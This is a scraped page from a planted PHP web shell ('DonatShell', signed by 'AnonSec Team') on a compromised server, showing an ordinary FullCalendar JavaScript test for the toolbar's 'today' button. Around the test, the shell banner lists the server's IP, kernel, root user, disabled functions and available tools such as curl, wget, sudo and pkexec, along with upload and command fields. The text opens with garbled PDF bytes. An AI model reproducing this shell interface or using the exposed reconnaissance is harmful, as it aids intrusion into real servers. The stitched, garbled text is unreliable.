%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/toolbar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/toolbar/today-button.js
/*
TODO:
- quick test for when button is clicked

SEE ALSO:
- other range intersection tests handled by next-button
*/

import { expectButtonEnabled } from './ToolbarUtils'

describe('today button', function() {
  pushOptions({
    defaultView: 'dayGridMonth',
    now: '2017-06-30'
  })

  describe('when now is in current month', function() {
    pushOptions({
      defaultDate: '2017-06-01'
    })
    it('is disabled', function() {
      initCalendar()
      expectButtonEnabled('today', false)
    })
  })

  describe('when now is not current month, but still visible', function() {
    pushOptions({
      defaultDate: '2017-07-01'
    })
    it('is enabled', function() {
      initCalendar()
      expectButtonEnabled('today', true)
    })
  })

  describe('when now is out of view', function() {
    pushOptions({
      defaultDate: '2017-08-01'
    })

    describe('when no specified validRange', function() {
      it('is enabled', function() {
        initCalendar()
        expectButtonEnabled('today', true)
      })
    })

    describe('when now\'s month is entirely before validRange', function() {
      pushOptions({
        validRange: { start: '2017-07-02' } // previous day is visible in the June
      })
      it('is disabled', function() {
        initCalendar()
        expectButtonEnabled('today', false)
      })
    })
  })
})

Anon7 - 2022
AnonSec Team